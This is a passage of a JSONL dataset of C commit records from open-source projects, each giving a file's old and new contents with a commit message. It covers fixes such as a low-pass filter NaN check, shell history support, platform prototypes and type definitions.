M_PI * cutoff_frequency)));\n  return gain * y + (1 - gain) * y_last;\n}\n\n}  \/\/ namespace franka\n","new_contents":"\/\/ Copyright (c) 2017 Franka Emika GmbH\n\/\/ Use of this source code is governed by the Apache-2.0 license, see LICENSE\n#pragma once\n\n#include <cmath>\n\n\/**\n * @file lowpass_filter.h\n * Contains functions for filtering signals with a low-pass filter.\n *\/\n\nnamespace franka {\n\/**\n * Maximum cutoff frequency\n *\/\nconstexpr double kMaxCutoffFrequency = 1000.0;\n\/**\n * Default cutoff frequency\n *\/\nconstexpr double kDefaultCutoffFrequency = 100.0;\n\/**\n * Applies a first-order low-pass filter\n *\n * @param[in] sample_time Sample time constant\n * @param[in] y Current value of the signal to be filtered\n * @param[in] y_last Value of the signal to be filtered in the previous time step\n * @param[in] cutoff_frequency Cutoff frequency of the low-pass filter\n * @throw std::invalid_argument if y is infinite or NaN.\n *\n * @return Filtered value.\n *\/\ninline double lowpassFilter(double sample_time, double y, double y_last, double cutoff_frequency) {\n  if (!std::isfinite(y)){\n    throw std::invalid_argument(\"Commanding value is infinite or NaN.\");\n  }\n  double gain = sample_time \/ (sample_time + (1.0 \/ (2.0 * M_PI * cutoff_frequency)));\n  return gain * y + (1 - gain) * y_last;\n}\n\n}  \/\/ namespace franka\n","subject":"Add NaN\/Inf check for low-pass filter.","message":"Add NaN\/Inf check for low-pass filter.\n","lang":"C","license":"apache-2.0","repos":"frankaemika\/libfranka,frankaemika\/libfranka,frankaemika\/libfranka"}
{"commit":"22a04f32bae2446bd7ca32386592b386cbc5fe38","old_file":"lib\/gibber\/gibber-namespaces.h","new_file":"lib\/gibber\/gibber-namespaces.h","old_contents":"\n#define GIBBER_XMPP_NS_STREAM \\\n  (const gchar *)\"http:\/\/etherx.jabber.org\/streams\"\n\n#define GIBBER_XMPP_NS_TLS \\\n  (const gchar *)\"urn:ietf:params:xml:ns:xmpp-tls\"\n\n#define GIBBER_XMPP_NS_SASL_AUTH \\\n  (const gchar *)\"urn:ietf:params:xml:ns:xmpp-sasl\"\n\n","new_contents":"\n#define GIBBER_XMPP_NS_STREAM \\\n  (const gchar *)\"http:\/\/etherx.jabber.org\/streams\"\n\n#define GIBBER_XMPP_NS_TLS \\\n  (const gchar *)\"urn:ietf:params:xml:ns:xmpp-tls\"\n\n#define GIBBER_XMPP_NS_SASL_AUTH \\\n  (const gchar *)\"urn:ietf:params:xml:ns:xmpp-sasl\"\n\n#define GIBBER_XMPP_NS_XHTML_IM \\\n  (const gchar *)\"http:\/\/jabber.org\/protocol\/xhtml-im\"\n\n#define GIBBER_W3C_NS_XHTML \\\n  (const gchar *)\"http:\/\/www.w3.org\/1999\/xhtml\"\n","subject":"Add xhtml-im and w3c xhtml namespace","message":"Add xhtml-im and w3c xhtml namespace\n\n\n20070316212630-93b9a-bcdbd042585561b0f20076b5e7f5f1c41c1e2867.gz\n","lang":"C","license":"lgpl-2.1","repos":"freedesktop-unofficial-mirror\/telepathy__telepathy-salut,freedesktop-unofficial-mirror\/telepathy__telepathy-salut,freedesktop-unofficial-mirror\/telepathy__telepathy-salut,freedesktop-unofficial-mirror\/telepathy__telepathy-salut"}
{"commit":"53da162a421fb6135dad4cfc197397bf527a9d6a","old_file":"tests\/regression\/36-octapron\/27-combine-forget-fun-lval.c","new_file":"tests\/regression\/36-octapron\/27-combine-forget-fun-lval.c","old_contents":"","new_contents":"\/\/ SKIP PARAM: --sets ana.activated[+] octApron\n#include <assert.h>\n\nint f(int x) {\n  return x + 1;\n}\n\nint main(void) {\n  int y = 42;\n\n  y = f(y);\n  \/\/ combine should forget callee's y after substituting arg vars with args to avoid bottom in #ret substitute\n\n  assert(y);\n  return 0;\n}\n","subject":"Add test for octApron combine forgetting return assign in function","message":"Add test for octApron combine forgetting return assign in function\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"7798b4a999726f6804a9968bc24f61365da7b1e0","old_file":"ext\/cap2\/cap2.c","new_file":"ext\/cap2\/cap2.c","old_contents":"#include <ruby.h>\n#include <errno.h>\n#include <sys\/capability.h>\n\nstatic VALUE cap2_getpcaps(VALUE self, VALUE pid) {\n  cap_t cap_d;\n  ssize_t length;\n  char *caps;\n  VALUE result;\n\n  Check_Type(pid, T_FIXNUM);\n\n  cap_d = cap_get_pid(FIX2INT(pid));\n\n  if (cap_d == NULL) {\n    rb_raise(\n      rb_eRuntimeError,\n      \"Failed to get cap's for proccess %d: (%s)\\n\",\n      FIX2INT(pid), strerror(errno)\n    );\n  } else {\n    caps = cap_to_text(cap_d, &length);\n    result = rb_str_new(caps, length);\n    cap_free(caps);\n    cap_free(cap_d);\n  }\n\n  return result;\n}\n\nvoid Init_cap2(void) {\n  VALUE rb_mCap2;\n\n  rb_mCap2 = rb_define_module(\"Cap2\");\n\n  rb_define_module_function(rb_mCap2, \"getpcaps\", cap2_getpcaps, 1);\n}\n","new_contents":"#include <ruby.h>\n#include <errno.h>\n#include <sys\/capability.h>\n\nstatic VALUE cap2_getpcaps(VALUE self, VALUE pid) {\n  cap_t cap_d;\n  ssize_t length;\n  char *caps;\n  VALUE result;\n\n  Check_Type(pid, T_FIXNUM);\n\n  cap_d = cap_get_pid(FIX2INT(pid));\n\n  if (cap_d == NULL) {\n    rb_raise(\n      rb_eRuntimeError,\n      \"Failed to get capabilities for proccess %d: (%s)\\n\",\n      FIX2INT(pid), strerror(errno)\n    );\n  } else {\n    caps = cap_to_text(cap_d, &length);\n    result = rb_str_new(caps, length);\n    cap_free(caps);\n    cap_free(cap_d);\n  }\n\n  return result;\n}\n\nvoid Init_cap2(void) {\n  VALUE rb_mCap2;\n\n  rb_mCap2 = rb_define_module(\"Cap2\");\n\n  rb_define_module_function(rb_mCap2, \"getpcaps\", cap2_getpcaps, 1);\n}\n","subject":"Update error text in Cap2.getpcaps","message":"Update error text in Cap2.getpcaps\n","lang":"C","license":"mit","repos":"lmars\/cap2,lmars\/cap2"}
{"commit":"0a604550e4f39b0d40732bf6cefe143ddcd00091","old_file":"alura\/c\/forca.c","new_file":"alura\/c\/forca.c","old_contents":"#include <stdio.h>\n#include <string.h>\n\nint main() {\n  char palavrasecreta[20];\n\n  sprintf(palavrasecreta, \"MELANCIA\");\n\n  int acertou = 0;\n  int enforcou = 0;\n\n  char chutes[26];\n  int tentativas = 0;\n\n  do {\n\n    for(int i = 0; i < strlen(palavrasecreta); i++) {\n\n      int achou = 0;\n\n      for(int j = 0; j < tentativas; j++) {\n        if(chutes[j] == palavrasecreta[i]) {\n          achou = 1;\n          break;\n        }\n      }\n\n      if(achou) {\n        printf(\"%c \", palavrasecreta[i]);\n      } else {\n        printf(\"_ \");\n      }\n    }\n\n    printf(\"\\n\");\n\n    char chute;\n    scanf(\" %c\", &chute);\n\n    chutes[tentativas] = chute;\n    tentativas++;\n\n  } while(!acertou && !enforcou);\n\n}\n","new_contents":"#include <stdio.h>\n#include <string.h>\n\nint main() {\n  char palavrasecreta[20];\n\n  sprintf(palavrasecreta, \"MELANCIA\");\n\n  int acertou = 0;\n  int enforcou = 0;\n\n  char chutes[26];\n  int tentativas = 0;\n\n  do {\n\n    for(int i = 0; i < strlen(palavrasecreta); i++) {\n\n      int achou = 0;\n\n      for(int j = 0; j < tentativas; j++) {\n        if(chutes[j] == palavrasecreta[i]) {\n          achou = 1;\n          break;\n        }\n      }\n\n      if(achou) {\n        printf(\"%c \", palavrasecreta[i]);\n      } else {\n        printf(\"_ \");\n      }\n    }\n\n    printf(\"\\n\");\n\n    char chute;\n    printf(\"Qual letra? \");\n    scanf(\" %c\", &chute);\n\n    chutes[tentativas] = chute;\n    tentativas++;\n\n  } while(!acertou && !enforcou);\n\n}\n","subject":"Update files, Alura, Introdução a C - Parte 2, Aula 2.6","message":"Update files, Alura, Introdução a C - Parte 2, Aula 2.6\n","lang":"C","license":"mit","repos":"fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs"}
{"commit":"4b62610ef39e999c1328e884b01cc14c7dcd9591","old_file":"core\/alsp_src\/generic\/fpbasis.c","new_file":"core\/alsp_src\/generic\/fpbasis.c","old_contents":"\/*===========================================================================*\n |              fpbasis.c\n |      Copyright (c) 1996-97 Applied Logic Systems, Inc.\n |\n |      -- Floating point math abstractions\n |\n *===========================================================================*\/\n#include \"defs.h\"\n#include \"fpbasis.h\"\n#ifdef MacOS\n#include <fp.h>\n#endif\n\nint is_ieee_nan PARAMS( (double) );\nint is_ieee_inf PARAMS( (double) );\n\nint\nis_ieee_nan(v)\n\tdouble v;\n{\n\treturn isnan(v);\n}\n\nint\nis_ieee_inf(v)\n\tdouble v;\n{\n#ifdef SOLARIS\n\tswitch (fpclass(v)) {\n\tcase FP_NINF:\n\t\treturn(1);\n\tcase FP_PINF:\n\t\treturn(1);\n\tdefault:\n\t\treturn(0);\n\t}\n#elif defined(WIN32) || defined(AIX)\n\treturn !finite(v);\n#elif defined(MacOS)\n\treturn !isfinite(v);\n#elif (defined(__sgi) && defined(__mips))\n\treturn(!finite(v));\n#else\n\treturn isinf(v);\n#endif\n}\n\n\n","new_contents":"\/*===========================================================================*\n |              fpbasis.c\n |      Copyright (c) 1996-97 Applied Logic Systems, Inc.\n |\n |      -- Floating point math abstractions\n |\n *===========================================================================*\/\n#include \"defs.h\"\n#include \"fpbasis.h\"\n#ifdef MacOS\n#include <fp.h>\n#endif\n\nint is_ieee_nan PARAMS( (double) );\nint is_ieee_inf PARAMS( (double) );\n\nint\nis_ieee_nan(v)\n\tdouble v;\n{\n\treturn isnan(v);\n}\n\nint\nis_ieee_inf(v)\n\tdouble v;\n{\n#if defined(SOLARIS) || defined(UNIX_SOLARIS)\n\tswitch (fpclass(v)) {\n\tcase FP_NINF:\n\t\treturn(1);\n\tcase FP_PINF:\n\t\treturn(1);\n\tdefault:\n\t\treturn(0);\n\t}\n#elif defined(WIN32) || defined(AIX)\n\treturn !finite(v);\n#elif defined(MacOS)\n\treturn !isfinite(v);\n#elif (defined(__sgi) && defined(__mips))\n\treturn(!finite(v));\n#else\n\treturn isinf(v);\n#endif\n}\n\n\n","subject":"Change for new config system","message":"Change for new config system\n\n","lang":"C","license":"mit","repos":"AppliedLogicSystems\/ALSProlog,AppliedLogicSystems\/ALSProlog,AppliedLogicSystems\/ALSProlog,AppliedLogicSystems\/ALSProlog,AppliedLogicSystems\/ALSProlog,AppliedLogicSystems\/ALSProlog,AppliedLogicSystems\/ALSProlog,AppliedLogicSystems\/ALSProlog,AppliedLogicSystems\/ALSProlog"}
{"commit":"2baa46afd5b7156da9087010d41f05031d121dd8","old_file":"conceitos\/basicos\/gerais\/0x07_loops\/while\/example_while.c","new_file":"conceitos\/basicos\/gerais\/0x07_loops\/while\/example_while.c","old_contents":"","new_contents":"\/*\n * Author: Jhonatan Casale (jhc)\n *\n * Contact : jhonatan@jhonatancasale.com\n *         : casale.jhon@gmail.com\n *         : https:\/\/github.com\/jhonatancasale\n *         : https:\/\/twitter.com\/jhonatancasale\n *         : http:\/\/jhonatancasale.github.io\/\n *\n * Create date Wed  1 Mar 01:51:51 BRT 2017\n *\n *\/\n\n#include <stdlib.h>\n#include <stdio.h>\n#include <ctype.h>\n\nint main (int argc, char **argv)\n{\n  char str[] = \"Hello, world!\";\n\n  int i = 0;\n  while ( str[i] != '\\0' ) {\n    printf (\"%c\\n\", str[i]); \n    i++;\n  }\n\n  printf (\"\\n\");\n\n  i = 0;\n  while ( str[i] != '\\0' )\n    printf (\"%c\", toupper(str[i++])); \n\n  printf (\"\\n\");\n\n  return (EXIT_SUCCESS);\n}\n","subject":"Add while loop examples, really","message":"Add while loop examples, really\n","lang":"C","license":"apache-2.0","repos":"jhonatancasale\/learning-c,jhonatancasale\/learning-c,klaussjhc\/learning-c"}
{"commit":"c5949064707026e60dd7f370870fd76be5f2c78a","old_file":"gpu\/include\/GrGLConfig_chrome.h","new_file":"gpu\/include\/GrGLConfig_chrome.h","old_contents":"#ifndef GrGLConfig_chrome_DEFINED\n#define GrGLConfig_chrome_DEFINED\n\n#define GR_SUPPORT_GLES2    1\n\n\/\/ gl2ext.h will define these extensions macros but Chrome doesn't provide\n\/\/ prototypes.\n#define GL_OES_mapbuffer                      0\n#define GL_IMG_multisampled_render_to_texture 0\n\n#include <GLES2\/gl2.h>\n#include <GLES2\/gl2ext.h>\n\n#define GR_GL_FUNC\n\n#define GR_GL_PROC_ADDRESS(X)       &X\n\n\/\/ chrome always assumes BGRA\n#define GR_GL_32BPP_COLOR_FORMAT    GR_BGRA\n\n\/\/ glGetError() forces a sync with gpu process on chrome\n#define GR_GL_CHECK_ERROR_START     0\n\n#endif\n","new_contents":"#ifndef GrGLConfig_chrome_DEFINED\n#define GrGLConfig_chrome_DEFINED\n\n#define GR_SUPPORT_GLES2    1\n\n\/\/ gl2ext.h will define these extensions macros but Chrome doesn't provide\n\/\/ prototypes.\n#define GL_OES_mapbuffer                      0\n#define GL_IMG_multisampled_render_to_texture 0\n\n#include <GLES2\/gl2.h>\n#include <GLES2\/gl2ext.h>\n\n#define GR_GL_FUNC\n\n#define GR_GL_PROC_ADDRESS(X)       &X\n\n\/\/ chrome always assumes BGRA\n#define GR_GL_32BPP_COLOR_FORMAT    GR_BGRA\n\n\/\/ glGetError() forces a sync with gpu process on chrome\n#define GR_GL_CHECK_ERROR_START     0\n\n\/\/ Using the static vb precludes batching rect-to-rect draws\n\/\/ because there are matrix changes between each one.\n\/\/ Chrome was getting top performance on Windows with\n\/\/ batched rect-to-rect draws. But there seems to be some \n\/\/ regression that now causes any dynamic VB data to perform\n\/\/ very poorly. In any event the static VB seems to get equal\n\/\/ perf to what batching was producing and it always seems to\n\/\/ be better on Linux.\n#define GR_STATIC_RECT_VB 1\n\n#endif\n","subject":"Make chrome use the static square vb when drawing rects.","message":"Make chrome use the static square vb when drawing rects.\n\nReview URL: http:\/\/codereview.appspot.com\/4280053\/\n\n\n","lang":"C","license":"bsd-3-clause","repos":"csulmone\/skia,csulmone\/skia,csulmone\/skia,csulmone\/skia"}
{"commit":"f749ea43d24a3ee328ee77c6de3838f3fef11d30","old_file":"beaksh.c","new_file":"beaksh.c","old_contents":"#include <stdlib.h>\n#include <unistd.h>\n#include <stdio.h>\n#include <string.h>\n#include \"linenoise.h\"\n\nchar* findPrompt();\nvoid executeCommand(const char *text);\n\nint main() {\n  int childPid;\n  int child_status;\n  char *line;\n  char *prompt;\n\n  prompt = findPrompt();\n\n  while((line = linenoise(prompt)) != NULL) {\n    if (line[0] != '\\0') {\n      linenoiseHistoryAdd(line);\n      childPid = fork();\n      if(childPid == 0) {\n        executeCommand(line);\n      } else {\n        wait(&child_status);\n      }\n    }\n    free(line);\n  }\n  return 0;\n}\n\nchar*  findPrompt() {\n  return \"$ \";\n}\n\nvoid executeCommand(const char *text) {\n  execlp(text, text, NULL);\n}\n","new_contents":"#include <stdlib.h>\n#include <unistd.h>\n#include <stdio.h>\n#include <string.h>\n#include <sys\/param.h>\n#include \"linenoise.h\"\n\n#define HISTORY_FILE \".beaksh_history\"\n\nchar* findPrompt();\nchar* getHistoryPath();\nvoid executeCommand(const char *text);\n\nint main() {\n  int childPid;\n  int child_status;\n  char *line;\n  char *prompt;\n\n  prompt = findPrompt();\n\n  char *historyPath = getHistoryPath();\n  linenoiseHistoryLoad(historyPath);\n\n  while((line = linenoise(prompt)) != NULL) {\n    if (line[0] != '\\0') {\n      linenoiseHistoryAdd(line);\n      linenoiseHistorySave(historyPath);\n      childPid = fork();\n      if(childPid == 0) {\n        executeCommand(line);\n      } else {\n        wait(&child_status);\n      }\n    }\n    free(line);\n  }\n\n  if(historyPath)\n    free(historyPath);\n\n  return EXIT_SUCCESS;\n}\n\nchar*  findPrompt() {\n  return \"$ \";\n}\n\n\/*\n  Resolve dotfile path for history. Returns NULL if file can't be resolved.\n*\/\nchar* getHistoryPath() {\n  char *home = getenv(\"HOME\");\n\n  if(!home)\n    return NULL;\n\n  int home_path_len = strnlen(home, MAXPATHLEN);\n  int history_path_len = home_path_len + strlen(HISTORY_FILE) + 1;\n\n  char *result;\n\n  if((result = malloc(history_path_len + 1)) == NULL) {\n    fprintf(stderr, \"Problem resolving path for history file, no history will be recorded\\n\");\n    return NULL;\n  }\n\n  strncpy(result, home, home_path_len);\n  strncat(result, \"\/\", 1);\n  strncat(result, HISTORY_FILE, strlen(HISTORY_FILE));\n\n  return result;\n}\n\nvoid executeCommand(const char *text) {\n  execlp(text, text, NULL);\n}\n","subject":"Add persistent history to shell","message":"Add persistent history to shell\n\nCloses #3.\n","lang":"C","license":"mit","repos":"futureperfect\/beaksh"}
{"commit":"df0776acc394cf21bac9f0d67d01250d04ba2f1a","old_file":"Epicness.c","new_file":"Epicness.c","old_contents":"","new_contents":"#pragma config(Sensor, dgtl4,  LeftEncoder,    sensorQuadEncoder)\n#pragma config(Sensor, dgtl11, RightEncoder,   sensorQuadEncoder)\n#pragma config(Motor,  port8,           Shooter8,      tmotorVex393_MC29, openLoop)\n#pragma config(Motor,  port9,           Shooter9,      tmotorVex393_MC29, openLoop, reversed)\n\/\/*!!Code automatically generated by 'ROBOTC' configuration wizard               !!*\/\/\n\ntask Shooting()\n{\n\n\n\n\tint last_clicks_left = 0;\n\tint last_clicks_right = 0;\n\n\twhile(true)\n\t{\n\t\tmotor[Shooter8] = 50;\n\t\tmotor[Shooter9] = 50;\n\t\t\/\/get current\n\tint current_right_clicks = SensorValue[RightEncoder];\n\tint current_left_clicks = SensorValue[LeftEncoder];\n\t\t\/\/calculate elapsed\n\tint elapsed_right_clicks = current_right_clicks - last_clicks_right;\n\tint elapsed_left_clicks = current_left_clicks - last_clicks_left;\n\t\t\/\/print\n\twriteDebugStreamLine(\"elapsed_right_clicks: %d\", elapsed_right_clicks);\n\twriteDebugStreamLine(\"elapese_left_clicks: %d\", elapsed_left_clicks);\n\t\t\/\/save current to last\n\tlast_clicks_left = current_left_clicks;\n\tlast_clicks_right = current_right_clicks;\n\t  delay(100);\n\t}\n\n}\ntask main()\n{\nstartTask(Shooting);\n\n}\n","subject":"Add a shooter program, and speed reader.","message":"Add a shooter program, and speed reader.\n","lang":"C","license":"mit","repos":"UpperPerkRobotics\/test-repo"}
{"commit":"43c33cfb95bd6b94e459b1ee64449a787b92a0aa","old_file":"test\/com\/facebook\/buck\/features\/rust\/testdata\/cxx_with_rust_dep\/main.c","new_file":"test\/com\/facebook\/buck\/features\/rust\/testdata\/cxx_with_rust_dep\/main.c","old_contents":"#include <stdio.h>\n\nextern void helloer(void);\n\nint main() {\n    printf(\"Calling helloer\\n\");\n    helloer();\n    printf(\"Helloer called\\n\");\n}","new_contents":"#include <stdio.h>\n\nextern void helloer(void);\n\nint main() {\n    printf(\"Calling helloer\\n\");\n    helloer();\n    printf(\"Helloer called\\n\");\n    return 0;\n}\n","subject":"Fix test failures with GCC","message":"rust: Fix test failures with GCC\n\nSummary:\nGCC 4.8.5 (and likely other versions of GCC) compiles C code as C89\n(-std=gnu89) by default. In C89, if main does not explicitly return, the\nprogram's exit code is unspecified. This means the hello program in\ncxx_with_rust_dep can return non-zero on success.\n\nMany of Buck's tests assert that the hello program exits with a zero\nexit code. When these tests use GCC 4.8.5, the tests often fail, since\nthe exit code is non-zero.\n\nFix the test failures by making the hello program explicitly return zero\non success.\n\n(Some other compilers compile C code as C99 or C11 by default. Since\nC99, if main does not explicitly return, the program's exit code is\nzero. This means the hello program always returns zero on success.)\n\nReviewed By: styurin\n\nfbshipit-source-id: 46c4dd6f68\n","lang":"C","license":"apache-2.0","repos":"brettwooldridge\/buck,romanoid\/buck,brettwooldridge\/buck,SeleniumHQ\/buck,facebook\/buck,JoelMarcey\/buck,Addepar\/buck,SeleniumHQ\/buck,romanoid\/buck,rmaz\/buck,romanoid\/buck,brettwooldridge\/buck,nguyentruongtho\/buck,zpao\/buck,facebook\/buck,JoelMarcey\/buck,nguyentruongtho\/buck,Addepar\/buck,brettwooldridge\/buck,rmaz\/buck,SeleniumHQ\/buck,facebook\/buck,Addepar\/buck,nguyentruongtho\/buck,brettwooldridge\/buck,JoelMarcey\/buck,rmaz\/buck,romanoid\/buck,zpao\/buck,Addepar\/buck,rmaz\/buck,brettwooldridge\/buck,kageiit\/buck,kageiit\/buck,Addepar\/buck,rmaz\/buck,JoelMarcey\/buck,romanoid\/buck,brettwooldridge\/buck,zpao\/buck,romanoid\/buck,rmaz\/buck,nguyentruongtho\/buck,shs96c\/buck,zpao\/buck,SeleniumHQ\/buck,romanoid\/buck,rmaz\/buck,SeleniumHQ\/buck,kageiit\/buck,JoelMarcey\/buck,rmaz\/buck,JoelMarcey\/buck,Addepar\/buck,romanoid\/buck,nguyentruongtho\/buck,Addepar\/buck,shs96c\/buck,brettwooldridge\/buck,facebook\/buck,SeleniumHQ\/buck,Addepar\/buck,kageiit\/buck,SeleniumHQ\/buck,JoelMarcey\/buck,brettwooldridge\/buck,rmaz\/buck,brettwooldridge\/buck,SeleniumHQ\/buck,romanoid\/buck,facebook\/buck,nguyentruongtho\/buck,SeleniumHQ\/buck,romanoid\/buck,JoelMarcey\/buck,SeleniumHQ\/buck,SeleniumHQ\/buck,shs96c\/buck,rmaz\/buck,kageiit\/buck,JoelMarcey\/buck,SeleniumHQ\/buck,rmaz\/buck,shs96c\/buck,Addepar\/buck,shs96c\/buck,JoelMarcey\/buck,shs96c\/buck,brettwooldridge\/buck,rmaz\/buck,SeleniumHQ\/buck,zpao\/buck,shs96c\/buck,JoelMarcey\/buck,romanoid\/buck,Addepar\/buck,kageiit\/buck,brettwooldridge\/buck,kageiit\/buck,Addepar\/buck,nguyentruongtho\/buck,romanoid\/buck,JoelMarcey\/buck,shs96c\/buck,shs96c\/buck,JoelMarcey\/buck,rmaz\/buck,Addepar\/buck,facebook\/buck,zpao\/buck,romanoid\/buck,facebook\/buck,shs96c\/buck,brettwooldridge\/buck,zpao\/buck,shs96c\/buck,Addepar\/buck,shs96c\/buck,shs96c\/buck"}
{"commit":"06be45bd2a250ccba120c46c673b7e4a5242947e","old_file":"api\/inc\/tour.h","new_file":"api\/inc\/tour.h","old_contents":"#ifndef __TOURH__\n#define __TOURH__\n\n#include <stdio.h>\n#include <stdlib.h>\n\n#define tour int*\n#define city int\n\n\/\/initializes a new tour\ntour create_tour(int ncities);\n\n\/\/returns true if the tour t is shorter than\n\/\/a distance indicated by dist \nint is_shtr(tour t, int dist);\n\n\/\/defines the starter point of a tour\nvoid strt_point(tour t, city c);\n\n\/\/defines a new tour changing the order of two cities\nvoid swap_cities(tour* t, city c1, city c2);\n\n#endif","new_contents":"#ifndef __TOURH__\n#define __TOURH__\n\n#include <stdio.h>\n#include <stdlib.h>\n\ntypedef int* tour;\ntypedef int city;\n\n\/\/inicializa um tour\ntour create_tour(int ncities);\n\n\/\/popula um tour pre-definido com cidades\nvoid populate_tour(tour t, int ncities);\n\n\/\/retorna true se a distancia total do\n\/\/tour t for menor que dist\nint is_shoter(tour t, int dist);\n\n\/\/define a cidade inicial de um tour\nvoid start_point(tour t, city c);\n\n\/\/inverte a posição de duas cidades no tour\nvoid swap_cities(tour t, int c1, int c2);\n\n#endif","subject":"Change type creation from define to typedef.","message":"Change type creation from define to typedef.\n","lang":"C","license":"apache-2.0","repos":"frila\/caixeiro"}
{"commit":"53c85fb989a60ef015bbbe3a2541b9ff1020ef15","old_file":"components\/libc\/dlib\/sys\/types.h","new_file":"components\/libc\/dlib\/sys\/types.h","old_contents":"#ifndef __TYPES_H__\n#define __TYPES_H__\n\n#include <stdint.h>\n#include <rtthread.h>\n\ntypedef rt_int32_t clockid_t;\ntypedef rt_int32_t key_t;       \/* Used for interprocess communication. *\/\ntypedef rt_int32_t pid_t;       \/* Used for process IDs and process group IDs. *\/\ntypedef signed long ssize_t;    \/* Used for a count of bytes or an error indication. *\/\n\n#endif\n","new_contents":"#ifndef __TYPES_H__\n#define __TYPES_H__\n\n#include <stdint.h>\n#include <rtthread.h>\n\ntypedef rt_int32_t clockid_t;\ntypedef rt_int32_t key_t;       \/* Used for interprocess communication. *\/\ntypedef rt_int32_t pid_t;       \/* Used for process IDs and process group IDs. *\/\ntypedef signed long ssize_t;    \/* Used for a count of bytes or an error indication. *\/\n\ntypedef int mode_t;\n\n#endif\n","subject":"Add missing definition of mode_t","message":"[libc][dlib] Add missing definition of mode_t\n\nFor using pthread with IAR tool chain","lang":"C","license":"apache-2.0","repos":"ArdaFu\/rt-thread,ArdaFu\/rt-thread,RT-Thread\/rt-thread,geniusgogo\/rt-thread,FlyLu\/rt-thread,FlyLu\/rt-thread,yongli3\/rt-thread,yongli3\/rt-thread,FlyLu\/rt-thread,gbcwbz\/rt-thread,FlyLu\/rt-thread,FlyLu\/rt-thread,wolfgangz2013\/rt-thread,weety\/rt-thread,AubrCool\/rt-thread,AubrCool\/rt-thread,AubrCool\/rt-thread,yongli3\/rt-thread,gbcwbz\/rt-thread,nongxiaoming\/rt-thread,weiyuliang\/rt-thread,gbcwbz\/rt-thread,armink\/rt-thread,zhaojuntao\/rt-thread,ArdaFu\/rt-thread,weiyuliang\/rt-thread,wolfgangz2013\/rt-thread,weiyuliang\/rt-thread,yongli3\/rt-thread,weety\/rt-thread,weiyuliang\/rt-thread,weiyuliang\/rt-thread,nongxiaoming\/rt-thread,wolfgangz2013\/rt-thread,hezlog\/rt-thread,AubrCool\/rt-thread,armink\/rt-thread,AubrCool\/rt-thread,yongli3\/rt-thread,ArdaFu\/rt-thread,hezlog\/rt-thread,weiyuliang\/rt-thread,hezlog\/rt-thread,yongli3\/rt-thread,zhaojuntao\/rt-thread,nongxiaoming\/rt-thread,igou\/rt-thread,wolfgangz2013\/rt-thread,igou\/rt-thread,gbcwbz\/rt-thread,geniusgogo\/rt-thread,weiyuliang\/rt-thread,FlyLu\/rt-thread,igou\/rt-thread,armink\/rt-thread,gbcwbz\/rt-thread,nongxiaoming\/rt-thread,armink\/rt-thread,hezlog\/rt-thread,RT-Thread\/rt-thread,zhaojuntao\/rt-thread,RT-Thread\/rt-thread,geniusgogo\/rt-thread,igou\/rt-thread,RT-Thread\/rt-thread,AubrCool\/rt-thread,wolfgangz2013\/rt-thread,weety\/rt-thread,yongli3\/rt-thread,weety\/rt-thread,weety\/rt-thread,armink\/rt-thread,zhaojuntao\/rt-thread,weety\/rt-thread,ArdaFu\/rt-thread,geniusgogo\/rt-thread,hezlog\/rt-thread,hezlog\/rt-thread,RT-Thread\/rt-thread,geniusgogo\/rt-thread,armink\/rt-thread,igou\/rt-thread,ArdaFu\/rt-thread,ArdaFu\/rt-thread,zhaojuntao\/rt-thread,armink\/rt-thread,geniusgogo\/rt-thread,gbcwbz\/rt-thread,zhaojuntao\/rt-thread,igou\/rt-thread,nongxiaoming\/rt-thread,gbcwbz\/rt-thread,igou\/rt-thread,geniusgogo\/rt-thread,FlyLu\/rt-thread,wolfgangz2013\/rt-thread,nongxiaoming\/rt-thread,weety\/rt-thread,wolfgangz2013\/rt-thread,nongxiaoming\/rt-thread,RT-Thread\/rt-thread,zhaojuntao\/rt-thread,RT-Thread\/rt-thread,AubrCool\/rt-thread,hezlog\/rt-thread"}
{"commit":"3059f29d3aca2555583bd8c15e94a5840eaba11b","old_file":"src\/condor_includes\/condor_fix_stdio.h","new_file":"src\/condor_includes\/condor_fix_stdio.h","old_contents":"#ifndef FIX_STDIO_H\n#define FIX_STDIO_H\n\n#include <stdio.h>\n\n\n\/*\n  For some reason the stdio.h on Ultrix 4.3 fails to provide a prototype\n  for pclose() if _POSIX_SOURCE is defined - even though it does\n  provide a prototype for popen().\n*\/\n#if defined(ULTRIX43)\n\n#if defined(__cplusplus)\nextern \"C\" {\n#endif\n\n#if defined(__STDC__) || defined(__cplusplus)\nint  pclose( FILE *__stream );\n#else\nint  pclose();\n#endif\n\n#if defined(__cplusplus)\n}\n#endif\n\n#endif\t\/* ULTRIX43 *\/\n\n#endif\n","new_contents":"#ifndef FIX_STDIO_H\n#define FIX_STDIO_H\n\n#include <stdio.h>\n\n\n\n#if defined(__cplusplus)\nextern \"C\" {\n#endif\n\n\/*\n  For some reason the stdio.h on OSF1 fails to provide prototypes\n  for popen() and pclose() if _POSIX_SOURCE is defined.\n*\/\n#if defined(OSF1)\n#if defined(__STDC__) || defined(__cplusplus)\n\tFILE *popen( char *, char * );\n\tint  pclose( FILE *__stream );\n#else\n\tFILE *popen();\n\tint  pclose();\n#endif\n#endif\t\/* OSF1 *\/\n\n\/*\n  For some reason the stdio.h on Ultrix 4.3 fails to provide a prototype\n  for pclose() if _POSIX_SOURCE is defined - even though it does\n  provide a prototype for popen().\n*\/\n#if defined(ULTRIX43)\n#if defined(__STDC__) || defined(__cplusplus)\n\tint  pclose( FILE *__stream );\n#else\n\tint  pclose();\n#endif\n#endif\t\/* ULTRIX43 *\/\n\n#if defined(__cplusplus)\n}\n#endif\n\n\n#endif\n","subject":"Add prototypes for popen()\/pclose() for OSF1 machines.","message":"Add prototypes for popen()\/pclose() for OSF1 